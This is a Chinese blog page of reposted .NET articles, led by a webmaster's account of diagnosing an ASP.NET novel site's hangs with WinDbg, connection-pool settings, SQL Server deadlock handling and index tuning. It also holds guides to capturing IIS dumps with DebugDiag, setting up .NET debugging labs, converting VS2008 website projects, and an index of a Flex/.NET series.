数据库噩梦:

      好不容易把txt章节导入到数据库里,运行一天下来速度的确有那么一点提升,可是读者的抱怨依然没有减少,每当高峰时期速度还是一如既往的慢。这次又是怎么回事呢?老办法运起神器windbg,按照上一节的操作后发现一共有101个线程,大部分线程都在执行:
2036ec90 7c9585ec [InlinedCallFrame: 2036ec90] <Module>.SNIReadSync(SNI_Conn*, SNI_Packet**, Int32)
2036ec8c 65226f0a SNINativeMethodWrapper.SNIReadSync(System.Runtime.InteropServices.SafeHandle, IntPtr ByRef, Int32)
2036ecfc 65226c14 System.Data.SQLClient.TdsParserStateObject.ReadSni(System.Data.Common.DbAsyncResult, System.Data.SqlClient.TdsParserStateObject)
2036ed34 65611041 System.Data.SqlClient.TdsParserStateObject.ReadNetworkPacket()
2036ed44 65228680 System.Data.SqlClient.TdsParserStateObject.ReadBuffer()
2036ed50 65228609 System.Data.SqlClient.TdsParserStateObject.ReadByte()
2036ed5c 65609b88 System.Data.SqlClient.TdsParser.Run(System.Data.SqlClient.RunBehavior, System.Data.SqlClient.SqlCommand, System.Data.SqlClient.SqlDataReader, System.Data.SqlClient.BulkCopySimpleResultSet, System.Data.SqlClient.TdsParserStateObject)
2036edc8 65220f12 System.Data.SqlClient.SqlDataReader.ConsumeMetaData()
2036eddc 65220a34 System.Data.SqlClient.SqlDataReader.get_MetaData()
2036ee08 6521f396 System.Data.SqlClient.SqlCommand.FinishExecuteReader(System.Data.SqlClient.SqlDataReader, System.Data.SqlClient.RunBehavior, System.String)
2036ee40 6521eff5 System.Data.SqlClient.SqlCommand.RunExecuteReaderTds(System.Data.CommandBehavior, System.Data.SqlClient.RunBehavior, Boolean, Boolean)
2036ee8c 6521edf3 System.Data.SqlClient.SqlCommand.RunExecuteReader(System.Data.CommandBehavior, System.Data.SqlClient.RunBehavior, Boolean, System.String, System.Data.Common.DbAsyncResult)
2036eed0 6521ed31 System.Data.SqlClient.SqlCommand.RunExecuteReader(System.Data.CommandBehavior, System.Data.SqlClient.RunBehavior, Boolean, System.String)
2036eeec 6521ec3e System.Data.SqlClient.SqlCommand.ExecuteReader(System.Data.CommandBehavior, System.String)
2036ef2c 6521ea5d System.Data.SqlClient.SqlCommand.ExecuteDbDataReader(System.Data.CommandBehavior)
2036ef30 6521fcab System.Data.Common.DbCommand.System.Data.IDbCommand.ExecuteReader(System.Data.CommandBehavior)
2036ef38 652300e3 System.Data.Common.DbDataAdapter.FillInternal(System.Data.DataSet, System.Data.DataTable[], Int32, Int32, System.String, System.Data.IDbCommand, System.Data.CommandBehavior)
2036ef90 65230010 System.Data.Common.DbDataAdapter.Fill(System.Data.DataSet, Int32, Int32, System.String, System.Data.IDbCommand, System.Data.CommandBehavior)
2036efd4 6522fe9f System.Data.Common.DbDataAdapter.Fill(System.Data.DataSet)
2036f004 1e5b9e73 xxxx.SQLServerDAL.SqlHelper.ExecuteDataset(System.Data.SqlClient.SqlConnection, System.Data.CommandType, System.String, System.Data.SqlClient.SqlParameter[])
2036f020 1e5b9dbf XXXX.SQLServerDAL.SqlHelper.ExecuteDataset(System.String, System.Data.SqlClient.SqlParameter[])
2036f050 1e5b9d48 XXXX.SQLServerDAL.Book.GetBookContent(Int32)
2036f064 1e5b879f XXXX.BLL.Book.GetBookContent(Int32)
2036f098 1e5b3315 XXXX.ReadBook.Page_Load(System.Object, System.EventArgs)

2036f0f8 66f2a7ff System.Web.Util.CalliHelper.EventArgFunctionCaller(IntPtr, System.Object, System.Object, System.EventArgs)
2036f108 660b2344 System.Web.Util.CalliEventHandlerDelegateProxy.Callback(System.Object, System.EventArgs)
2036f11c 660ab864 System.Web.UI.Control.OnLoad(System.EventArgs)
2036f130 660ab8a3 System.Web.UI.Control.LoadRecursive()
2036f148 660a7954 System.Web.UI.Page.ProcessRequestMain(Boolean, Boolean)
2036f2a0 660a7584 System.Web.UI.Page.ProcessRequest(Boolean, Boolean)
2036f2d8 660a74b1 System.Web.UI.Page.ProcessRequest()
2036f310 660a7446 System.Web.UI.Page.ProcessRequestWithNoAssert(System.Web.HttpContext)
2036f31c 660a7422 System.Web.UI.Page.ProcessRequest(System.Web.HttpContext)
2036f330 1b66aed5 ASP.readbook_aspx.ProcessRequest(System.Web.HttpContext)
2036f334 660ad8f6 System.Web.HttpApplication+CallHandlerExecutionStep.System.Web.HttpApplication.IExecutionStep.Execute()
2036f368 6608132c System.Web.HttpApplication.ExecuteStep(IExecutionStep, Boolean ByRef)
2036f3a8 6608c3a3 System.Web.HttpApplication+ApplicationStepManager.ResumeSteps(System.Exception)
2036f3f8 660808ac System.Web.HttpApplication.System.Web.IHttpAsyncHandler.BeginProcessRequest(System.Web.HttpContext, System.AsyncCallback, System.Object)
2036f414 66083e1c System.Web.HttpRuntime.ProcessRequestInternal(System.Web.HttpWorkerRequest)
2036f448 66686c53 System.Web.RequestQueue.WorkItemCallback(System.Object)
2036f460 792c9dff System.Threading._ThreadPoolWaitCallback.WaitCallback_Context(System.Object)
2036f468 792f5611 System.Threading.ExecutionContext.runTryCode(System.Object)
2036f88c 79e71b4c [HelperMethodFrame_PROTECTOBJ: 2036f88c] System.Runtime.CompilerServices.RuntimeHelpers.ExecuteCodeWithGuaranteedCleanup(TryCode, CleanupCode, System.Object)
2036f8f4 792f5507 System.Threading.ExecutionContext.RunInternal(System.Threading.ExecutionContext, System.Threading.ContextCallback, System.Object)
2036f910 792e0175 System.Threading.ExecutionContext.Run(System.Threading.ExecutionContext, System.Threading.ContextCallback, System.Object)
2036f928 792ca363 System.Threading._ThreadPoolWaitCallback.PerformWaitCallbackInternal(System.Threading._ThreadPoolWaitCallback)
2036f93c 792ca1f9 System.Threading._ThreadPoolWaitCallback.PerformWaitCallback(System.Object)
2036facc 79e71b4c [GCFrame: 2036facc]
2036fc18 79e71b4c [ContextTransitionFrame: 2036fc18]

      毫无疑问,是由于某些函数(如GetBookContent)操作数据库造成SQL Blocking,打开GetBookContent执行的SQL语句,如下(是一存储过程):

Select [ID], [Name] FROM dbo.Book_ChapterCategory  Where Book_ID = @bookid
Select dbo.Book_Chapter.Chapter_ID,dbo.Book_Chapter.ChapterName,dbo.Book_Chapter.Category_ID,dbo.Book_Chapter.IsVipChapter
FROM dbo.Book_Chapter  Where dbo.Book_Chapter.Book_ID = @bookid orDER BY dbo.Book_Chapter.Chapter_ID

      两条很简单的查询语句,没有什么问题,操作数据库过程中也用了using确保连接关闭。那会是什么问题呢?再仔细讯问读者如何 定义“服务器卡死了”的描述,发现问题和以前一样,也是无法响应一段时候后恢复正常再无法响应,那又是用尽某些资源然后回收?可是我们已经导入数据库了 呀!数据库,数据库,噢!对了,ADO.NET处理数据库连接时候用到连接池技术,会不会是已经达到了默认上限(默认是100)了呢?运起另外一件神器性 能监视器查看(参照上节文章),果然已经达到上限,这下好办,我们修改连接字符串为以下(请参考SqlConnection..::.ConnectionString 属性):

server=XXX;user id=XXX;password=XXX;database=XXX;Max Pool Size =500;Connection Lifetime=300;

      这下连接池上限改成500了,满怀信心的传上去,结果无比郁闷,单独web那台服务器运行比较正常,但是同时运行web和 database那台服务器几乎是无法对外响应!OK,一台服务器不应该承担过多的职责,幸好家里还有一台淘汰下来的DELL PE 1850机器,赶紧让老妈跑到电信局去申请托管(我在上海读书,服务器放在家里的城市),被告知需要领导审批3天后才能上架,极其难受的度过3天,那台老 服务器终于用上。赶紧把数据库转移到老服务器上,心想这下搞定了吧!

      现实和理想总是有一定差距,这就是人生。新上架的服务器虽然解决了“一段时间无法响应,过一会好了,然后再无法响应“的问题, 但速度依然很慢,表现为性能监视器 Asp.net Application里Request in Applicatong Queue一直有许多请求未处理,但是不会像以前一样完全无法响应。还有新的问题出现,在涉及大数据量操作的时候会提示发生死锁!OMG,程序也没改变, 访问量也没大变化,一直以来都没问题,怎么会发生死锁呢!那叫一个郁闷呀!

      由于之前没有发生过,那估计是新托管的服务器处理速度不够导致的死锁,经过搜索后得知打开MS SQL SERVER 2005 的READ_COMMITTED_SNAPSHOT选项(参看SQL Server 2005使用基于行版本控制的隔离级别初探)能够提供基于行版本控制的隔离级别,这意味着读取操作不会阻止更新操作。但是打开这个选项要求暂停数据库所有 事务,所以我选择了另外一个方法,在查询语句添加 with(nolock)达到同样的效果.
      但是事与愿违,速度依然没有得到改善,看来只能升级数据库服务器的硬件,于是一个电话打到DELL订购一台PE 2950,花了1万7大洋,销售代表小姐甜甜地告诉我需要7个工作日内服务器才能寄到家里,这一天是2009-6-4号(值得纪念吗?)。
服务器还没到,那就不妨再检查看看还有什么可以优化的地方,既然是由于数据库服务器运行速度慢导致的阻塞,那能不能优化SQL操作来提高速度呢?首先找出具体引起死锁的语句,采用《检测死锁》一文中提供的储存过程发现这个存储过程有问题:

Select Book_Book.*, Book_Category.Description AS CategoryName
FROM Book_Book WITH(NOLOCK)  LEFT  JOIN
Book_Category WITH(NOLOCK)  ON  Book_Book.Category_ID = Book_Category.Category_ID
 Where Book_Book.Book_ID = @Book_ID
 Update Book_Book WITH (ROWLOCK)  SET VisitedCount=VisitedCount+1,MonthHits=MonthHits+1,DayHits=DayHits+1,WeekVisitedCount=WeekVisitedCount+1 Where [Book_ID] = @Book_ID

      该过程检索小说信息后,顺便增加点击数,列Book_ID建立了聚集索引,注意到已经在select语句中加上 with(nolock),为什么这个语句会引起死锁呢?关键在于后面一个update,大量的并发操作和较低的硬件配置使得服务器在执行此update 时速度缓慢,而执行update会加上排它锁,进而造成死锁(但是我用了行级锁,为什么还会这样呢?),把update删除后大部分死锁也没有了,但是一 个网站不能不统计点击数,咨询DUDU,他建议把点击数分出一个单独的表。但是这样做会是一个大的工程,所以只好在不繁忙的时段才统计点击数,等待新服务 器的到来。
      在不改变表的情况下,接着对其他存储过程进行优化,借助 SQL SERVER2005中数据库引擎优化顾问建立索引,十分傻瓜式,但是这个东西也不能全信,有些读者反映一个页面打开特别慢,显示执行超时,检查后发现是如下SQL语句(简化过)

Select
一堆列名
FROM
Book_Book  LEFT JOIN Book_Chapter
 ON
Book_Book.LastChapterID = Book_Chapter.Chapter_ID
LEFT JOIN dbo.Book_ChapterCategory
 ON
Book_Chapter.Category_ID = Book_ChapterCategory.ID
Where
Book_Book.Moderator_ID =@UserID
ORDER BY
Book_Chapter.Addtime desc

      此存储过程设计三个表,在我机器上的数据量分别是
Book_Book                     15145行
Book_Chapter                 1006603行
Book_ChapterCategory        45928行

      在SQL Server Management Studio中执行该过程,并选择窗口栏上“包括执行计划”,得到结果集 11455行,执行计划如图:

      把鼠标移动到各个方框上会显示详细的执行信息,重点关注开销比较大的,移动到那个开销为53%的上面,显示:

 
     

       其中对象里显示的_dta_index_Book_Chapter_5_308964227__K1_K6_K5_2是数据库引擎优 化顾问建立的非聚集索引,在Book_Chapter上建立[Chapter_ID] ASC, [Category_ID] ASC, [Addtime] ASC。
我们注意到物理类型为索引扫描,实际行数是1006603,等等,这不就是整个Book_Chapter表的所有行 数吗?为什么要扫描整个表?按照我的思路应该首先从Book_Book里根据Moderator_ID的索引找出符合Moderator_ID =@UserID的11455行记录,然后根据Book_Book.LastChapterID = Book_Chapter.Chapter_ID从Book_Chapter找出11455行记录,再从Book_ChapterCategory找出 11455条记录然后合并,整个过程因为有索引不需要进行整表扫描才对。
      于是删除Book_Chapter上的_dta_index_Book_Chapter_5_308964227__K1_K6_K5_2索引,并建立[chapter_ID ASC],[Book_ID] ASC的索引。再次执行,执行计划如图:
 
      

      其中开销66%的详细信息为:

 
      这下物理运算变成索引查找了,实际行数也变成了期望的11438行(有些书还没有章节,所以比11455少),我们再对SQL语句优化一下,改成(红色字体是改变过的地方):

Select
一堆列名
FROM
Book_Book  LEFT JOIN (Book_Chapter LEFT JOIN dbo.Book_ChapterCategory
 ON
Book_Chapter.Category_ID = Book_ChapterCategory.ID

 ON
Book_Book.LastChapterID = Book_Chapter.Chapter_ID
Where
Book_Book.Moderator_ID =@UserID
ORDER BY
Book_Chapter.Addtime desc

      执行结果如下:
 

      这次查询简单多了,至少能在一个图片完全显示整个查询结构。而且发现我们在上一步优化中建立的索引IX_Book_Chapter没用用上,而是用了Book_Chapter本来的主键聚集索引查找。
      经过测试优化后这条语句执行速度比优化前快了45%
      对所有操作频繁的存储过程进行优化后,速度没有明显的提高!依然很慢,看来真的是需要等待新的服务器了。

消费者的无奈:

      服务器是在6月4号购买的,6月7号妈妈打电话告诉我服务器到了,速度还挺快。大家首先来看看服务器的报价单,这几张图片是我截图下来的,实际的报价单被分成好几块,每一块都有很多重复的信息(用来干扰视线的?):
   

 

    

  

      各位有看出报价单里面有什么不对吗?反正当时我就看了CPU,内存和硬盘,检查没错后确认了,6月8日帮我装机器的yang13老师告 诉我寄过来的电源是48V DC,他在学校里不能用,然后我打电话到电信局IDC,技术工程师告诉我他们主要用220V交流电,让我换了220V的再托管。我回头翻出报价单一看,在 最后的倒数第二栏果然有一个小小的-48VDC,当时没在意,想着打个电话给DELL让他们换一换就行了。
第二天一大早我就打电话给DELL的销 售代表,这位小姐说她不懂技术,又让我打给技术支持,技术说这个的确错了,而且只能更换,让我和销售调换,然后我再次打电话给销售,她说这个要 CC(customer care客户关怀部)给我处理,她已经提交上去了。这时我就郁闷,我好好的买一个服务器怎么就需要被关怀了呢?不过算了,还是等等吧。
      一 直等到星期五下午4点多(6月12号),一个自称是客户关怀部的小姐打电话给我说出了什么问题,电源坏了吗?我当时气愤的不行,这已经过了3天了,她们还 搞不清楚电源是坏了还是错了,有这样的服务态度吗?然后我打电话给销售,没人接,打电话给技术,没人接。周末DELL公司不上班,星期一我再打给销售,发 现换人了,原来卖给我的销售因某某某原因休假,接替她的人对这件事情什么都不知道,难道我要从头来一次?气愤!然后打电话给技术,技术又拨通了客户关怀部 进行3方通话,这次客户关怀部说他们是按照订单上写的生产,没有出错,不给退换,我当时就郁闷,对她说你是在中国境内卖服务器为什么默认配48V 直流电源而不是中国标准220V交流电源?然后这位客户关怀部的小姐就不说按照订单生产,反而一再问我是不是提了什么特殊要求,我当时根本就没提什么要 求,完全是按照正常流程,居然把责任推给我,这实在让人失望。然后我说你们不是有为了保证服务质量有电话录音的吗?找出来看看不就知道了,现在那名销售也 知道去哪里了,你们想说什么就是什么了吧?

      电话那头沉默了几秒,然后说:我们是按照订单生产,不能换。

      我马上挂掉电话。到网上买了两个2950的220V电源,6月18号终于把新服务器装上,一切问题都解决了!

后记:

      这次hang排查过程前后花了一个月的时间,真可谓一波三折。
      总结出来的经验:
      1. 用性能监视器查看系统运行情况。
      2. 用windbg抓取dump后用~*e!clrstack看看hang期间在执行什么
      3. 对症下药
      通过这3步一般就能解决问题。但仅仅解决了技术上的问题,现实中有许多困难往往来自非技术上的,这对于像我这样单枪匹马的个人站长+技术爱好者来说是经常有的情况,但是一个好的站长必须不怕困难,坚持自己的信念才能走到最后。

感谢:

      感谢DUDU,小力,V.c Fan (范维肖),Raymond对我的帮助和支持,感谢yang13老师一直以来在生活,学习和技术上对我的帮助

[IIS]使用DEBUGDIAG手动抓取DUMP文件

mikel阅读(1955)

转载:http://www.51testing.com/?uid-227476-action-viewspace-itemid-99975

使用DebugDiag手动抓取dump文件

l 手动抓取IIS dump文件

l 查看dump文件的默认存储位置

l 修改dump文件的存储位置

l 抓取dump文件的时机

手动抓取IIS dump文件

1、启动DebugDiag 1.1 (x86)后点击“选择规则类型”窗口中的“取消”按钮后,点击Processes分页。

2、右键单击w3wp进程,并选择Create Full Userdump

等待一段时间后出现成功创建dump文件,以及dump的文件名和存储路径的对话框,点击确定即可。

查看dump文件的默认存储位置

1、点击DebugDiag 1.1 (x86)工具主窗口工具栏中的“文件夹”图标

      查看弹出的窗口

      

      打开其中的misc文件夹,刚才所抓取的dump文件就存放在其中。

      

修改dump文件的存储位置

点击DebugDiag 1.1 (x86)工具菜单栏中的“Tools->Options and Settings”设置Manual Userdump Save Folder中的路径为所要修改的路径即可。

 

抓取dump文件的时机

1、应用程序初始化完毕(测试执行前)需要抓取一个dump文件

2、使用性能计数器观察测试中的内存使用情况,在IIS崩溃前(观察Prvite#time in GC的变化)抓取dump文件以便于开发分析

3、(可选)在性能计数器中观察gen2large object heapbytes in all heaps堆的使用和释放情况,在堆的使用即将达到一个高峰值(相对值)前抓取dump,并同时抓取堆释放到一个低峰值(波谷)前抓取一个dump,方便开发对比分析。

[IIS].NET调试实例-信息和安装说明 (原创翻译)

mikel阅读(738)

原文地址:http://blogs.msdn.com/tess/pages/net-debugging-demos-information-and-setup-instructions.aspx

译者注释 (Just do it)

1、 这篇是这个系列的第一篇,主要是简单介绍了作者的想法和开始准备工作。
2、这个系列的实验非常强调动手实践,所以建议大家一定要边看边实践。
3、实践中遇到问题可以在这里或者去Tess的Blog上留言,我会尽力解答的。
4、不要害怕使用Windbg,一回生二回熟!
5、如果一些常识性的概念不太了解,可以先在网上查一下,或者直接留言咨询。
希望大家能真正亲自动手实践,然后踊跃留言啊!

.NET 调试实例
这是一个系列的调式实例,目的是为了帮助你在调式.NET应用程序中最常见的死锁(Hang)、性能(performance)、内存(memory)和系统崩溃(crash)方面获得一些上手的经验。
这些实例都是用ASP.NET写的,这意味着在你安装这些实例的机器上必须已经安装了IIS和.net framework 2.0。
每一个实例都会有一些关于如何开始的介绍,但是为了给你更多的机会去自己实践,实例的介绍会故意保持非常简单。当你遇到困难的时候,可以参考注意事项(Hints)。
如果时间允许,新实例将发布在 http://blogs.msdn.com/Tess(我计划每周更新一个实验)。
因为所有实例都将使用相同的Web站点来做实验,所以所有实例只需要安装一个应用程序就够了。
注意:这些实例将导致CPU的高使用率、高内存消耗和崩溃,所以一定要确保你只把这些实例安装在那些没有人会因为系统死锁或Web服务崩溃而抱怨的开发用的机器上。
安装
1.下载实例站点(见后面的附件)并解压到你的硬盘上。(刚刚上传了一个不需要Framework 3.5的版本)
2.在IIS中新建一个名称为BuggyBits的虚拟目录。
3. 浏览默认站点 http://localhost/buggybits/default.htm ,以确保您正确设置了虚拟目录。
4.浏览公司信息页面 http://localhost/BuggyBits/CompanyInformation.aspx,以确保您能够正确浏览ASP.NET页面。
5.从 http://www.microsoft.com/whdc/devtools/debugging/default.mspx 下载并安装Windows调试工具集(Debugging tools for windows)。
6.通过双击运行Internetconnections.reg文件来改变IE浏览器对于相同站点默认的对外连接数。(注意:如果你感觉这样直接修改注册表不爽,你可以在记事本查看这个文件,然后手工修改注册表)
7.安装 tinyget(IIS6.0资源包的一部分 http://support.microsoft.com/kb/840671),我们将通过使用这个工具给一些页面施压,以便产生死锁和内存泄漏。
术语和工具
每个实例/实验都假设你已经熟悉下表中的内容:

Windbg 随Windows调试工具集一起安装的调试器
默认情况下会安装在“C:\program files\Debugging tools for windows”
Adplus 自动抓取内存转储文件的脚本,同意也安装在Windows调试工具集的目录里。
Debuggers directory 典型的目录是“ c:\program files\debugging tools for windows”
SOS .NET托管调试扩展
同.Net Framework同时安装并存在于Framework目录(通常是“C:\Windows\Microsoft.NET\Framework \v2.0.50727”),为了方便,你可以直接拷贝sos.dll到Debuggers directory。
Loading SOS 可 以通过在Windbg的命令行窗口运行".load<路径到sos.dll>\sos.dll"命令来加载SOS扩展,或者通过运 行".loadby sos mscorwks"命令(这两种方式都是从Framework的目录加载的sos.dll)。如果sos.dll已经被拷贝到调试器目录,你只要使用简单 的".load sos"命令就可以了。
Setting up symbols 符号(Symbols)是用来在调试本地/非托管程序时,查看非托管堆栈时用的。更多信息请参考: http://blogs.msdn.com/tess/archive/2005/12/05/why-do-i-get-weird-function-names-on-my-stack-a-discussion-on-symbols.aspx 。可以在Windbg中运行如下命令来设置符号的路径:

 .symfix c:\mycache 
 .reload

"c:\mycache"是在本地缓存的符号文件的路径。 如果在Windbg里询问是否保存工作空间的的时候选择了保持,那么下次调式的时候,这个符号路径仍然有效。

Tinyget TinyGet 5.2 (TinyGet.exe)是一个命令行的超文本传输协议(HTTP)客户端,支持多线程和循环(looping)。你可以使用TinyGet测试和解决 客户端和服务之间通讯的问题。使用TinyGet,你可以通过配置许多不同的参数的方式自定义你的测试需求,包括身份验证方法, HTTP版本,输出格式。 您也可以使用脚本指定循环和多线程。
更多信息请参考 http://support.microsoft.com/kb/840671

熟悉一些SOS命令和Windbg的知识也是有用的。下面的文章作为参考资料可能会用得到。
安装 Windbg
入门-第一部分
入门-第二部分
高级命令

已经可用的实验

实验描述 回顾
.NET调试实例 实验1:死锁 回顾 
.NET调试实例 实验2:崩溃 回顾
.NET调试实例 实验3:内存 回顾
.NET调试实例 实验4:高CPU利用率 回顾
.NET调试实例 实验5:崩溃 回顾
.NET调试实例 实验6:内存泄漏 回顾
.NET调试实例 实验7:内存泄漏 回顾

附件: BuggyBits.zip
Debug 探索团队
-博客园.Debug探索团队
-By Justin/2008年7月8日 2:00:48
作者:Justin
出处:http://justinw.cnblogs.com/
本文版权归作者和博客园共有,欢迎转载,但未经作者同意必须保留此段声明,且在文章页面明显位置给出原文连接,否则保留追究法律责任的权利。

[VS2008]VS 2008 "website" 项目转化为 "web application"

mikel阅读(806)

转载:http://www.cnblogs.com/portalsky/archive/2008/09/04/1283837.html

"website" 项目转化为 "web application" 项目实际操作过程中有点麻烦,特别是网站比较大时:

步骤一:

1、新建一个web application,(File->Add->New Project->C#->Web->ASP.NET Web Application)。

2、拷贝web site 文件

3、尝试编译一次,手工添加找不到的references

4、选择web site中文件或者文件夹,右键选择"Convert to web application“,这个过程中可能有问题,主要ajax控件和profile的问题。

a、ajax控件,最简单的办法就是剪切+转化+恢复,呵呵。

b、在web site项目中profile几乎就可以用,就可以调用web.config的配置,在项目中稍微,麻烦一点:

用ProfielBase.GetPropertyValue(PropertyName)代替。

c、用户控件无法定义,需要在.design.cs中重新定义一下。


附:网上搜来的一篇文章,写的很好,就是找不到原作者了

VS2005中的WebSite和WebApplication有何区别

WebApplication编程模型的优点:
·网站编译速度快,使用了增量编译模式,仅仅只有文件被修改后,这部分才会被增量编译进去。
·生成的程序集
WebSite:生成随机的程序集名,需要通过插件WebDeployment才可以生成单一程序集
WebApplication:可以指定网站项目生成单一程序集,因为是独立的程序集,所以和其他项目一样可以指定应用程序集的名字、版本、输出位置等信息
·可以将网站拆分成多个项目以方便管理
·可以从项目中和源代码管理中排除一个文件
·支持VSTS的Team Build方便每日构建
·更强大的代码检查功能,并且检查策略受源代码控制
·可以对编译前后进行自己规定的处理
·对App_GlobalResources 的Resource强类支持
·直接升级使用VS2003构建的大型系统
WebSite编程模型的优点:
·动态编译该页面,马上可以看到效果,不用编译整个站点(主要优势)
·同上,可以使错误的部分和使用的部分不相干扰
·可以每个页面生成一个程序集
·可以把一个目录当做一个Web应用来处理,直接复制文件就可以发布,不需要项目文件
·可以把页面也编译到程序集中
两种编程模型的互相转换:
VS2005 SP1内置了转换程序,可以非常方便的从WebSite转换到WebApplication
只需要复制文件,右键执行“转换为Web应用程序”即可。
未查到有专门的反向转换工具,但比较后发现如果转换也非常简单。
*.designer.cs
*.aspx
*.ascx
*.master
删除所有*.designer.cs
将*.aspx、*.ascx、*.master页面文件中的 Codebehind="FileList.aspx.cs" 批量替换成 CodeFile="FileList.aspx.cs"
总之,大网站比较适合用WebApplication项目,小网站比较适合用WebSite项目。

[Flex]Flex与.NET互操作系列文章

mikel阅读(676)

Flex与.NET互操作系列文章

      本系列文章主要介绍了关于Flex与.NET结合开发中的一些互操作性,包括网络通信、数据加载、数据传输、文件传输、以及应用于Flex与.NET协作开发的通信网关开源项目FluorineFx的相关知识点。

     开源项目FluorineFx就是专门针对.NET平台与Flex通信提供的AMF协议通信网关,我们可以通过FluorineFx很方便的完成与.NET的通信。 另外还可以轻松的实现及时文字沟通、视频语音通信等及时交互系统的开发。

     FluorineFx官方提供了安装包的下载和在线文档,可以帮助我们有效的利用FluorineFx来开发。 

     FluroineFx官方网站http://www.fluorinefx.com/    

     FluroineFx下载地址:http://www.fluorinefx.com/download.html

     FluroineFx在线文档:http://www.fluorinefx.com/docs/fluorine/index.html

     

     本系列文章的程序开发环境选择如下:

     .NET:Microsoft Visual Studio 2008 + .NET Framework 3.5

     Flex:Adobe Flex Builder CS3 + Flex SDK 3.2

     FluroineFx:FluorineFx v1.0.0.15 (点击可下载)

     文章目录如下:

     1、Flex与.NET互操作(一):基于Socket的网络连接

     2、Flex与.NET互操作(二):基于WebService的数据访问(上)

     3、Flex与.NET互操作(三):基于WebService的数据访问(下)

     4、Flex与.NET互操作(四):使用HttpService、URLReqeust和URLLoader加载/传输数据 

     5、Flex与.NET互操作(五):使用FileReference+HttpHandler实现文件上传/下载

     6、Flex与.NET互操作(六):Flex和.NET协同开发利器FluorineFx

     7、Flex与.NET互操作(七):了解FluorineFx的环境配置(远程对象、网关、通道、目的地)

     8、Flex与.NET互操作(八):使用FluorineFx网关实现远程访问

     9、Flex与.NET互操作(九):FluorineFx.NET的认证(Authentication )与授权(Authorization) 

   10、Flex与.NET互操作(十):FluorineFx.Net的及时通信应用(ApplicationAdapter)(一)  

   11、Flex与.NET互操作(十一):FluorineFx.Net的及时通信应用(Remote Procedure Call)(二)

   12、Flex与.NET互操作(十二):FluorineFx.Net的及时通信应用(Remote Shared Objects)(三)

   13、Flex与.NET互操作(十三):FluorineFx.Net实现视频录制与视频回放 (回复中有视频聊天的实现)

   14、Flex与.NET互操作(十四):FluorineFx的AMF(Action Message Format)协议通信

   15、Flex与.NET互操作(十五):使用FluorineFx中的字节数组(ByteArray)实现图片上传

   16、Flex与.NET互操作(十六):FluorineFx + Flex视频聊天室案例开发

 

 

      本系列文章暂时就写到这里,希望对学习基于.NET后台的Flex开发的朋友起到一定的帮助作用。另外在此谢谢长期以来支持我这一系列文章的朋友。

 

版权说明

  本文属原创文章,欢迎转载,其版权归作者和博客园共有。  

  作      者:Beniao

 文章出处:http://beniao.cnblogs.com/  或  http://www.cnblogs.com/